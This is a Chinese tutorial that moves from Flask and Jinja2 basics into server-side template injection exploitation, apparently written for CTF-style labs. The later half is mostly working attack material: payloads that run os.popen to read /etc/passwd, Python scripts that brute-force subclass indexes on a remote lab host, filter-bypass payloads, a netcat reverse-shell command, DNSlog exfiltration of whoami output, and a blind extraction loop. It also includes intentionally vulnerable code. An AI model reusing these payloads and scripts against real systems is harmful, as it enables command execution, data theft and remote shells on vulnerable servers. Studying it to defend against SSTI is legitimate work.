前言 前期学习主要以 Python 的 Flask 框架使用的 Jinja2 模版为主,同时 x1ong 也借此机会学习一下 Python 的 Flask 模块。
Flask 基础 模块的安装 安装方法比较简单,直接使用 pip 安装即可:
最小的应用 1 2 3 4 5 6 7 8 from flask import Flaskapp = Flask(__name__) @app.route('/' ) def hello (): return "Hello Flask!" app.run()
以上代码解释如下:
首先我们导入了 Flask 类。该类的实例将会成为我们的 WSGI 应用。
接着我们创建一个该类的实例。第一个参数是应用模块或者包的名称。 __name__
是一个适用于大多数情况的快捷方式。有了这个参数, Flask 才能知道在哪里可以找到模板和静态文件等东西。
然后我们使用 route() 装饰器来告诉 Flask 触发函数的 PATH 。
函数返回需要在用户浏览器中显示的信息。默认的内容类型是 HTML ,因此字符串中的 HTML 会被浏览器渲染。
Flask 模块默认的端口为 5000,故而运行这段 Python 代码会自动监听 5000 端 口。
访问:
可以看到页面输出 Hello Flask,这是因为我们访问了 /
路由,故而会执行路由下的 hello
方法,而 hello
方法则会返回 Hello Flask!,故而页面会输出这段话。
知道路由的概念之后,我们修改代码如下:
1 2 3 4 5 6 7 8 9 10 11 from flask import Flaskapp = Flask(__name__) @app.route('/' ) def hello (): return "Hello Flask!" @app.route('/admin' ) def admin (): return "Welcome to the backend management system" app.run()
那么我们知道,当我们访问 /
则会执行 hello
方法,当我们访问 /admin
则会执行 admin
方法,故而当我们访问 /admin
的时候,页面会输出: Welcome to the backend management system。
run() 方法的参数 host 默认情况下,Flask 应用监听本地主机(127.0.0.1)上的 5000 端口,也就是说,局域网的其他主机则无法访问,故而如果我们需要对外监听,则需要将 host 修改为 0.0.0.0
1 2 3 4 5 6 7 8 9 from flask import Flaskapp = Flask(__name__) @app.route('/' ) def hello (): return "Hello Flask!" if __name__ == '__main__' : app.run(host='0.0.0.0' )
这里的 if __name__ == '__main__'
则表示,仅允许当前文件直接执行,不允许被引入到其他文件执行。
port 默认情况下,Flask 应用监听本地主机上的 5000 端口,如果我们需要将其修改为 8090,代码如下:
1 2 3 4 5 6 7 8 9 from flask import Flaskapp = Flask(__name__) @app.route('/' ) def hello (): return "Hello Flask!" if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
debug 默认情况下,Flask 应用不开启调试模式,但是我们在开发中编译调试一些错误,往往会使用 debug 模式进行调试。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flask, request, abortapp = Flask(__name__) @app.route('/trigger_error' ) def trigger_error (): param = request.args.get('param' ) if param is None : abort(400 , description="Missing required parameter 'param'." ) elif param == '500' : raise Exception("This is a custom exception to trigger a 500 error." ) else : return f'Received parameter: {param} ' if __name__ == '__main__' : app.run(debug=True )
这里输入 PIN 码即可进行任意的 Python 代码执行。
在早期的 Flask 版本,debug 模式是不需要 PIN 码验证的,存在的安全风险非常大。故而后续进行了改善。
调试器允许执行来自浏览器的任意 Python 代码。虽然它由一个 pin 保护, 但仍然存在巨大安全风险。不要在生产环境中运行开发服务器或调试器。
HTML 转义 当返回 HTML ( Flask 中的默认响应类型)时,为了防止注入攻击,所有用户 提供的值在输出渲染前必须被转义。使用 Jinja (这个稍后会介绍)渲染的 HTML 模板会自动执行此操作。
在下面展示的 escape()
可以手动转义。因为保持简洁的原因,在多数示例中它被省略了,但您应该始终留心处理不可信的数据。
1 2 3 4 5 6 7 8 9 from flask import Flask,requestfrom markupsafe import escapeapp = Flask(__name__) @app.route("/<name>" ) def index (name ): return escape(name) if __name__ == '__main__' : app.run()
路由 现代 web 应用都使用有意义的 URL ,这样有助于用户记忆,网页会更得到用户的青睐,提高回头率。
使用 route() 装饰器来把函数绑定到 URL:
定义结构如下:
1 2 3 4 5 6 7 @app.route('/' ) def index (): return 'Index Page' @app.route('/hello' ) def hello (): return 'Hello, World'
一般情况下,函数名与其路由参数保持一致。
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 from flask import Flask,requestapp = Flask(__name__) @app.route('/' ) def index (): return 'Index Page' @app.route('/hello' ) def hello (): return 'Hello, World' if __name__ == '__main__' : app.run()
当我们访问路由 /
,则会执行 index 方法:
当我们访问路由 /hello
则会执行 hello 方法:
变量规则 通过把 URL
的一部分标记为 <variable_name>
就可以在 URL 中添加变量。 标记的部分会作为关键字参数传递给函数。通过使用 <converter:variable_name>
,可以选择性的加上一个转换器,为变量指定规则。请看下面的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from flask import Flask,requestfrom markupsafe import escapeapp = Flask(__name__) @app.route("/index1/<username>" ) def index1 (username ): return f"Hello {username} " @app.route("/index2/<int:user_id>" ) def index2 (user_id ): return f"User ID:{user_id} " @app.route("/index3/<float:number>" ) def index3 (number ): return f"Number: {number} " @app.route("/index4/<path:path>" ) def index4 (path ): return f"Path: {path} " @app.route("/index5/<uuid:uuid>" ) def index5 (uuid ): return f"uuid:{uuid} " if __name__ == '__main__' : app.run()
转换器类型:
类型
说明
string
默认类型,接受任何不包含斜杠的文本
int
接受正整数
float
接受正浮点数
path
类似 string
,但可以包含斜杠
uuid
接受 UUID 字符串
HTTP 方法 Web 应用使用不同的 HTTP 方法处理 URL 。当您使用 Flask 时,应当熟悉 HTTP 方法。缺省情况下,一个路由只回应 GET 请求。可以使用 route() 装饰器的 methods 参数来处理不同的 HTTP 方法。
1 2 3 4 5 6 7 8 9 10 11 from flask import Flask,requestapp = Flask(__name__) @app.route("/" ,methods=['GET' ,"POST" ] ) def index (): return "<h1>Hello World</h1>" if __name__ == '__main__' : app.run()
路由 /
只允许使用 GET 和 POST 请求方法访问,如果使用其他请求方法访问,则提示如下:
参数的接收 在 HTTP 协议中,我们经常使用 GET 或者 POST 方法传入一些参数,那么 Flask 模块如何接收这些参数呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from flask import Flask,requestapp = Flask(__name__) @app.route("/" , methods=['GET' , 'POST' ] ) def index (): args1 = request.args.get("args1" ) args2 = request.form.get("args2" ) return f"args1: {args1} \nargs2: {args2} " if __name__ == '__main__' : app.run()
Flask 模版渲染 基础概念 视图函数
的主要作用是生成请求的响应,主要就做这么两件事情:
代码示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from flask import Flaskapp = Flask(__name__) @app.route('/' ) def index (): return 'Hello, World!' @app.route('/about' ) def about (): return 'About Page' if __name__ == '__main__' : app.run()
如果把业务逻辑和表现内容发在一起,会增加代码的复杂度和维护成本。
使用模版
使静态的HTML页面展示动态的内容。
模版是一个响应文本的文件,其中占位符(变量)表示动态部分,告诉模版引擎其具体的值需要从使用的数据中获取。
使用真实值替换变量,再返回最终得到的字符串。这个过程称为 “渲染”。
Flask 使用 Jinja2 这个模版引擎来渲染模版。
render_template 加载 HTML 文件,默认文件路径在 templates
目录下。
建立如下 Python 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from flask import Flask,render_template,redirect,request,url_forapp = Flask(__name__) @app.route("/" , methods=['GET' ,"POST" ] ) def index (): if request.method == "POST" : username = request.form.get("name" ) age = request.form.get("age" ) address = request.form.get("address" ) phone = request.form.get("tel" ) return redirect(url_for("home" , username=username, age=age, address=address, phone=phone)) return render_template("register.html" ) @app.route("/home" ,methods=['GET' ,'POST' ] ) def home (): username = request.args.get("username" ) age = request.args.get("age" ) address = request.args.get("address" ) phone = request.args.get("phone" ) return render_template("index.html" ,username=username,age=age,address=address,phone=phone) if __name__ == '__main__' : app.run()
接着创建 templates 目录,并在目录内创建 index.html
文件,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > 个人信息</title > <style > table { width : 50% ; border-collapse : collapse; margin : 25px 0 ; font-size : 18px ; text-align : left; } th , td { padding : 12px ; border-bottom : 1px solid #ddd ; } th { background-color : #f2f2f2 ; } tr :hover { background-color : #f5f5f5 ; } </style > </head > <body > <h2 > 个人信息表格</h2 > <table > <thead > <tr > <th > 姓名</th > <th > 年龄</th > <th > 地址</th > <th > 手机号</th > </tr > </thead > <tbody > <tr > <td > {{ username }}</td > <td > {{ age }}</td > <td > {{ address }}</td > <td > {{ phone }}</td > </tr > </tbody > </table > </body > </html >
接着在 templates 目录下创建 register.html 文件,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Title</title > </head > <body > <form method ="post" > 姓名: <input type ="text" name ="name" > <br > 年龄: <input type ="text" name ="age" > <br > 地址: <input type ="text" name ="address" > <br > 手机号: <input type ="text" name ="tel" maxlength ="11" > <br > <input type ="submit" > </form > </body > </html >
运行 Python 文件,访问提交:
这样就实现了让原本 静态的HTML页面展示动态的内容 。
render_template_string 与 render_template()
不同的是,render_template()
指定的是一个模版文件,而 render_template_string
指定的则是模版字符串。如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from flask import Flask,render_template_string,requestapp = Flask(__name__) @app.route("/" , methods=['GET' ,"POST" ] ) def index (): kw = request.args.get("kw" ) if kw != None : return render_template_string("""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title></head><body>%s</body></html>""" )% kw return "/?kw=kw" if __name__ == '__main__' : app.run()
{% %}的使用 set 变量 我们可以使用 {% set key=value %}
的形式在模版中设置一个变量和值。
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from flask import Flask,render_template_stringapp = Flask(__name__) @app.route("/" ) def index (): html_str = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> {% set name="x1ongSec" %} <h1> Hello {{ name }} </h1> </body> </html> """ return render_template_string(html_str) if __name__ == '__main__' : app.run()
页面输出:
for 循环 {% %}
除了设置一个变量以外,还可以使用 for
循环。
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from flask import Flask,render_template_stringapp = Flask(__name__) @app.route("/" ) def index (): names = ["小明" , "小红" , "小亮" , "小熊" ] html_str = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <ul> {% for name in names %} <li>{{ name }}</li> {% endfor %} </ul> </body> </html> """ return render_template_string(html_str,names=names) if __name__ == '__main__' : app.run()
页面输出:
if 判断 {% %}
除了设置一个变量以外,还可以使用 if
条件控制语句。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from flask import Flask, render_template_stringapp = Flask(__name__) @app.route('/' ) def index (): users = [ {'name' : 'Alice' , 'age' : 25 }, {'name' : 'Bob' , 'age' : 30 }, {'name' : 'Charlie' , 'age' : 35 }, {'name' : 'David' , 'age' : 40 } ] html_str = """ <!doctype html> <html lang="en"> <head> <meta charset="UTF-8"> <title>User List</title> </head> <body> <h1>User List</h1> <ul> {% for user in users %} <li> {% if user.age > 30 %} <strong>{{ user.name }}</strong> is {{ user.age }} years old. (Senior) {% else %} {{ user.name }} is {{ user.age }} years old. {% endif %} </li> {% endfor %} </ul> </body> </html> """ return render_template_string(html_str, users=users) if __name__ == '__main__' : app.run()
过滤器 Flask 常用过滤器
过滤器函数
说明
length
获取一个序列或者字典的长度并将其返回
int
将值转为int类型
float
将值转为int类型
lower
将字符串转为小写
upper
将字符串转为大写
reverse
将字符串反转
replace
字符串替换
list
将数据类型转为list类型
string
将数据类型转为字符串类型
join
将一个序列的参数值拼接成字符串,通常与 dict() 函数配合使用
attr
获取对象的属性
过滤器的使用 这里只演示最常用的 length 和 join 以及 attr 过滤器的使用
示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from flask import Flask,render_template_stringapp = Flask(__name__) @app.route("/" ) def index (): names = ["小明" , "小亮" , "小红" , "小熊" ] username = "x1ong" password = "admin123" html_str = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>title</title> <body> Number of personnel: {{ names|length }} <br /> username: {{ username|join("_") }} <br /> password: {{ password|attr("__class__") }} </body> </head> </html> """ return render_template_string(html_str, names=names,username=username,password=password) if __name__ == '__main__' : app.run()
页面输出:
模版注入漏洞介绍 模版注入漏洞原理 模版注入漏洞是指在模板中使用用户输入的数据,而没有对其进行适当的过滤,导致恶意数据被插入到模板中,从而导致模版注入漏洞。
模版注入漏洞危害 模版注入漏洞的危害取决于攻击者能够利用该漏洞执行的恶意操作。攻击者可以利用模版注入漏洞执行以下操作:
读取服务器上的文件
执行系统命令
获取服务器上的敏感信息
修改或删除服务器上的文件
执行任意代码
模版注入漏洞演示 存在漏洞的代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from flask import Flask,render_template_string,requestapp = Flask(__name__) @app.route("/" ) def index (): cmd = request.args.get("cmd" ) html_string = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> {} </body> </html> """ .format (cmd) return render_template_string(html_string) if __name__ == '__main__' : app.run()
当我们传入 7*7
页面返回 7*7
并没有执行我们输入的值
但是当我们把传入 {{7 * 7 }}
的时候,页面返回 49。
这里,cmd
的值直接被格式化进 HTML
字符串中,然后通过 render_template_string
函数进行渲染。由于 render_template_string
会处理 Jinja2
模板语法,用户提供的输入如果包含了 Jinja2
模板代码,就会被执行。
安全的代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from flask import Flask,render_template_string,requestapp = Flask(__name__) @app.route("/" ) def index (): cmd = request.args.get("cmd" ) html_string = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> {{ str }} </body> </html> """ return render_template_string(html_string,str =cmd) if __name__ == '__main__' : app.run()
str 是被 {{}}
所包裹,故而会对其进行转义,不会执行我们传入的值。
漏洞检测 Python 中 Flask 框架使用的是 Jinja2 的模版,于是 Flask 可以使用 {{ 7*7 }}
进行漏洞的检测。
那么其他模版类型该如何进行检测呢?遵循如下图解检测即可。
继承关系和魔术方法 继承关系 在 Python 中 Flask 脚本不能直接执行 Python 代码,当前子类无可利用的方法时,可由当前子类从其 object
基类找到其他子类的可利用方法。
object
是父子关系的顶端,所以的数据类型最终的父类都是 object
。
魔术方法
魔术方法
说明
__class__
查找当前对象的当前类
__base__
查找当前类的父类
__mro__
查找当前类的所有继承类
__subclasses__()
查找父类下的所有子类
__init__
查找类是否重载,出现 wrapper
表示没有重载
__globals__
以字典的形式返回当前函数的全部全局变量
__builtins__
提供对Python的所有内置标识符的直接访问
代码示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class Person (): def test (self ): print ("run test function!" ) class SubClass (Person ): class DemoClass (Person ): pass obj = SubClass() print (obj.__class__) print (SubClass.__base__) print (SubClass.__mro__) print (Person.__subclasses__()) print (Person.__init__)
小试牛刀 根据下图进行模版类型检测:
输入 ${7 *7 }
,页面没有执行。
接着尝试 {{ 7*7 }}
页面返回 49,那么就是 Jinja2 模版或 Twig,这里使用的是 Python 的 Flask 框架,故而模版为 Jinja2。
由于类的父类都是 object
,因此我们这里键入任意数据类型,获取其父类(object):
1 2 3 {{ '' .__class__ }} {{ '' .__class__.__base__ }}
获取父类 object
的所有子类,这样就可以获取到页面的所有加载的模块类:
1 {{ '' .__class__.__base__.__subclasses__() }}
使用 SubLime Text 3编辑器将逗号替换为换行显示:
替换之后发现在 118行 存在 os 模块类,使用 [117] 取到下标,并使用 __init__
查看是否被重载
1 2 3 {{ '' .__class__.__base__.__subclasses__()[117 ] }} {{ '' .__class__.__base__.__subclasses__()[117 ].__init__ }}
发现不存在 wrapper 表示已经重载,可以使用。
以字典的形式获取 os 模块的所有全部变量以及相应的函数地址并进行命令执行
1 {{ '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__ }}
由于是字典形式,我们使用 popen
获取该函数的函数地址执行。
1 {{ '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]("cat /etc/passwd" ).read() }}
最终达到命令执行的效果,以上等同于直接执行如下 Python 代码:
1 2 import osprint (os.popen("cat /etc/passwd" ).read())
常用注入模块利用 文件读取 使用 如下 Python 脚本获取该类的索引位置:
1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/' for i in range (0 , 500 ): data = {'name' : '{{ "".__class__.__base__.__subclasses__()[' + str (i) + '] }}' } try : res = requests.post(url, data=data) if res.status_code == 200 : if '_frozen_importlib_external.FileLoader' in res.text: print (i) break except : pass
<class '_frozen_importlib_external.FiieLoader'>
,即文件读取模块,可以读取文件内容:
1 2 3 {{ '' .__class__.__base__.__subclasses__()[79 ]}} {{ '' .__class__.__base__.__subclasses__()[79 ]['get_data' ](0 ,'/etc/passwd' )}}
内置函数 eval 命令执行 使用内建函数 eval
前需知道哪个模块存在可利用的内建函数 eval
,使用如下脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/' for i in range (0 , 500 ): data = {'name' : '{{ "".__class__.__base__.__subclasses__()[' + str (i) + '].__init__.__globals__["__builtins__"] }}' } try : res = requests.post(url, data=data) if res.status_code == 200 : if 'eval' in res.text: print (i) except : pass
以上结果可能很多,我们随便使用一个。
1 2 3 4 5 {{ [].__class__.__mro__[1 ].__subclasses__()[68 ].__init__.__globals__['__builtins__' ] }} {{ [].__class__.__mro__[1 ].__subclasses__()[68 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('cat /etc/passwd').read()" ) }}
OS 模块执行命令
在其他函数中直接调用os模块进行命令执行:
1 2 3 4 5 {{ config.__class__.__init__.__globals__["os" ].popen("cat /etc/passwd" ).read() }} {{ url_for.__globals__["os" ].popen("cat /etc/passwd" ).read() }}}
在已加载os模块的子类中直接调用os模块进行命令执行:
使用 Python 脚本查看哪个子类中调用了 os 模块:
1 2 3 4 5 6 7 8 9 10 11 import requestsurl = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/' for i in range (0 , 500 ): data = {'name' : '{{ "".__class__.__base__.__subclasses__()[' + str (i) + '].__init__.__globals__ }}' } try : res = requests.post(url, data=data) if res.status_code == 200 : if 'os.py' in res.text: print (i) except : pass
在以上结果中随便选择一个:
1 2 3 4 {{ '' .__class__.__base__.__subclasses__()[200 ].__init__.__globals__['os' ] }} {{ '' .__class__.__base__.__subclasses__()[200 ].__init__.__globals__['os' ].popen('cat /etc/passwd' ).read() }}
当然也可以使用如下获取所有的键名:
1 {{ self.__dict__._TemplateReference__context.keys() }}
如下函数都带有 OS 模块:
1 2 3 {{ url_for.__globals__ }} {{ lipsum.__globals__ }} {{ get_flashed_messages.__globals__ }}
importlib 类命令执行 <class '_frozen_importlib_Builtinlmporter'>
,即 importlib
类模块,使用 Python 脚本进行查找:
1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/' for i in range (0 , 500 ): data = {'name' : '{{ "".__class__.__base__.__subclasses__()[' + str (i) + '] }}' } try : res = requests.post(url, data=data) if res.status_code == 200 : if '_frozen_importlib.BuiltinImporter' in res.text: print (i) break except : pass
1 2 3 4 {{ '' .__class__.__base__.__subclasses__()[69 ] }} {{ '' .__class__.__base__.__subclasses__()[69 ]['load_module' ]('os' )['popen' ]('cat /etc/passwd' ).read() }}
subprocess.Popen 类命令执行 <class 'subprocess.Popen'>
,即 subprocess.Popen 类模块。其下标使用如下 Python 脚本获取:
1 2 3 4 5 6 7 8 9 10 11 12 import requestsurl = 'http://120.48.128.24:9091/flaskBasedTests/jinja2/' for i in range (0 , 500 ): data = {'name' : '{{ "".__class__.__base__.__subclasses__()[' + str (i) + '] }}' } try : res = requests.post(url, data=data) if res.status_code == 200 : if 'subprocess.Popen' in res.text: print (i) break except : pass
1 2 3 4 {{ '' .__class__.__base__.__subclasses__()[200 ] }} {{ '' .__class__.__base__.__subclasses__()[200 ]('cat /etc/passwd' ,shell=True ,stdout=-1 ).communicate()[0 ].strip() }}
Bypass 双大括号 过滤 可以使用 {% %}
代替,使用 print
函数可以打印输出: {% print(123) %}
1 2 3 4 5 {% if '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /etc/passwd' ).read() %}x1ong{% endif %} {% print ('' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /etc/passwd' ).read()) %}
至于下标可以使用如下脚本获取并自动构造 PAYLOAD:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsurl = 'http://120.48.128.24:9091/flasklab/level/2' command = "cat /etc/passwd" for i in range (0 , 500 ): payload = "{% if ''.__class__.__base__.__subclasses__()[" + str (i) + "].__init__.__globals__['popen']('" + command + "').read() %}x1ong{% endif %}" data = {'code' : payload} try : res = requests.post(url, data=data) if res.status_code == 200 : if 'x1ong' in res.text: print (payload) print ("""{% print(''.__class__.__base__.__subclasses__()[""" + str (i) + """].__init__.__globals__['popen']('""" + command + """').read()) %}""" ) break except : pass
无回显 SSTI
反弹shell
Dnslog带外
纯盲注
反弹 shell 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl = "http://120.48.128.24:9091/flasklab/level/3" command = "netcat 120.48.128.24 2333 -e /bin/bash" keyword = "correct" for i in range (0 , 500 ): payload = "{{ ''.__class__.__base__.__subclasses__()[" + str (i) + "].__init__.__globals__['popen']('" + command + "').read() }}" data = {"code" : payload} try : resp = requests.post(url, data=data) if (keyword in resp.text): print (i) break except : pass
Dnslog 带外:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsurl = "http://120.48.128.24:9091/flasklab/level/3" command = "ping `whoami`.xxxxx.ceye.io" keyword = "correct" for i in range (0 , 500 ): payload = "{{ ''.__class__.__base__.__subclasses__()[" + str (i) + "].__init__.__globals__['popen']('" + command + "').read() }}" data = {"code" : payload} try : resp = requests.post(url, data=data) if (keyword in resp.text): print (i) break except : pass
纯盲注:根据页面返回不同结果来判断字符值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsimport stringurl = "http://120.48.128.24:9091/flasklab/level/1" strings = string.printable.strip() command = "whoami" content = "" for i in range (0 ,100 ): for s in strings: payload = "{% if ''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('" + command + "').read()[" + str (i) + ":" + str (i+1 ) + "] == '" + s + "' %} x1ong {% endif %}" data = {"code" : payload} resp = requests.post(url, data) if "x1ong" in resp.text: content += s break print (content)
注入时间可能较慢,请耐心等待。
大括号过滤 魔术方法 __getitem__
可代替中括号,绕过中括号过滤,其功能是通过键名获取相应的元素值:
构造 PAYLOAD:
1 2 3 4 5 6 7 8 9 {{ '' .__class__.__base__.__subclasses__()[117 ] }} {{ '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]("cat /etc/passwd" ).read() }} {{ '' .__class__.__base__.__subclasses__().__getitem__(117 ) }} {{ '' .__class__.__base__.__subclasses__().__getitem__(117 ).__init__ .__globals__.__getitem__('popen' )("cat /etc/passwd" ).read() }}
单双引号被过滤 当单引号和双引号被过滤之后可以使用 request.args.xxx
和 request.form.xxx
接收 GET 或者 POST 的请求。
1 2 3 4 5 6 7 {{ '' .__class__.__base__.__subclasses__()[117 ] }} {{ '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]("cat /etc/passwd" ).read() }} {{ ().__class__.__base__.__subclasses__()[117 ].__init__.__globals__[request.args.popen](request.form.cmd).read() }}
当然还可以使用 cookies
传参,如 request.cookies.k1
、request.cookies.k2
在 Cookie 中传入: k1=popen;k2=cat /etc/passwd
除了 cookies 之外,还可以使用 headers 获取请求头的信息。
下划线被过滤 request 当下划线被过滤后可以使用过滤器 attr
输入下划线。PAYLOAD:
1 2 3 4 5 {{ ().__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /etc/passwd' ).read() }} {{ ()|attr(request.form.argu_class)|attr(request.form.argu_base)|attr(request.form.argu_subclasses)()|attr(request.form.argu_getitem)(117 )|attr(request.form.argu_init)|attr(request.form.argu_globals)|attr(request.form.argu_getitem)(request.form.argu_popen)(request.form.argu_cmd)|attr(request.form.argu_read)()}}
接着使用 POST 传入如下参数即可:
1 &argu_class=__class__&argu_base=__base__&argu_subclasses=__subclasses__&argu_getitem=__getitem__&argu_init=__init__&argu_globals=__globals__&argu_popen=popen&argu_cmd=cat /etc/passwd&argu_read=read
{{ ()|attr(request.form.key1) }}
等同于 {{ ().__class__ }}
。
Unicode 当然也可以对 attr
过滤器的内容进行 Unicode 编码绕过:
1 2 3 4 5 {{ ()|attr("__class__" )|attr("__base__" )|attr("__subclasses__" )()|attr("__getitem__" )(117 )|attr("__init__" )|attr("__globals__" )|attr("__getitem__" )("popen" )("cat /etc/passwd" )|attr("read" )()}} {{ ()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f" )|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f" )|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f" )()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )(117 )|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" )|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" )|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )("\u0070\u006f\u0070\u0065\u006e" )("\u0063\u0061\u0074\u0020\u002f\u0065\u0074\u0063\u002f\u0070\u0061\u0073\u0073\u0077\u0064" )|attr("\u0072\u0065\u0061\u0064" )()}}
Unicode 在线编码网站: https://www.bt.cn/tools/unicode.html
{{ ()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}
等同于 {{ ()|attr("__class__")}}
hex 除了使用以上两种方式以外,还可以使用十六进制编码的形式
1 2 3 4 5 {{ ().__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /etc/passwd' ).read() }} {{ ()['\x5f\x5fclass\x5f\x5f' ]['\x5f\x5fbase\x5f\x5f' ]['\x5f\x5fsubclasses\x5f\x5f' ]()[117 ]['\x5f\x5finit\x5f\x5f' ]['\x5f\x5fglobals\x5f\x5f' ]['popen' ]('cat /etc/passwd' ).read() }}
点过滤 中括号 如果题目过滤了 .
可以使用中括号进行代替。
1 2 3 4 5 {{ '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /etc/passwd' ).read() }} {{ '' ['__class__' ]['__base__' ]['__subclasses__' ]()[117 ]['__init__' ]['__globals__' ]['popen' ]('cat /etc/passwd' )['read' ]() }}
attr PAYLOAD 语句中不会用到点和中括号
1 2 3 4 5 {{ '' .__class__.__base__.__subclasses__()[117 ].__init__.__globals__['popen' ]('cat /etc/passwd' ).read() }} {{ ()|attr('__class__' )|attr('__base__' )|attr('__subclasses__' )()|attr('__getitem__' )(117 )|attr('__init__' )|attr('__globals__' )|attr('__getitem__' )('popen' )('cat /etc/passwd' )|attr('read' )() }}
关键字过滤 拼接绕过
假设 class
关键字别过滤
1 2 3 4 5 {{ '' .__class__ }} {{ '' ['__cla' + 'ss__' ] }}
如果过滤了加号,则将两个字符串放在一起也可以达到拼接的效果:
使用 jingja2 的 ~
号拼接:
1 2 3 4 5 {{ ().__class__.__base__ }} {% set a='__cla' %}{% set b='ss__' %}{% set c='__ba' %}{% set d='se__' %} {{ ()[a~b][c~d] }}
使用 getattribute() + 字符串拼接绕过
1 2 3 4 5 6 {{ [].__class__.__base__.__subclasses__()[117 ].__init__.__getattribute__('__glo' +'bals__' ) }} {{ [].__class__.__base__.__subclasses__()[117 ].__init__.__getattribute__('__glo' +'bals__' ) }}
过滤器 reverse 绕过 使用过滤器绕过,比如使用 reverse
反转字符串的过滤器:
1 2 3 4 5 {{ ().__class__.__base__ }} {% set a = "__ssalc__" |reverse %} {% set b = "__esab__" |reverse %} {{ ()[a][b] }}
过滤器 join 绕过 1 2 3 4 {{ ().__class__.__base__ }} {% set a=dict (__cl=1 , ass__=2 )|join %} {% set b=dict (__ba=1 , se__=2 )|join %} {{ ()[a][b] }}
数字过滤 当数字被过滤时,可以使用过滤器 length
计算字符串的长度
1 2 3 4 5 ().__class__.__base__.__subclasses__()[117 ] {% set a='aaa' |length * 39 %} {{ a }} {{ ().__class__.__base__.__subclasses__()[a] }}
config 过滤 有些时候 FLAG 放在 Flask 配置当中,故而我们就需要调用 config 文件的内容,但是如果这个时候 config 被过滤了,我们又该何去何从?
1 2 3 4 5 6 7 8 {{ config }} {{ url_for.__globals__['current_app' ].config }} {{ get_flashed_messages.__globals__['current_app' ].config }}
特殊字符过滤 1 2 3 4 5 6 7 8 9 10 11 12 13 {% set a=(lipsum|string|list ) %}{{a}} {% set a=(lipsum|string|list ) %}{{a[0 ]}} {% set a=(lipsum|string|list ) %}{{a[9 ]}} {% set a=(lipsum|string|list ) %}{{a[18 ]}}
1 2 3 4 5 {{ ().__class__ }} {{ ()|attr(request.form.f|format (request.form.a,request.form.a,request.form.a,request.form.a)) }}&f=%s%sclass%s%s&a=_
混合过滤-1 题目源码:
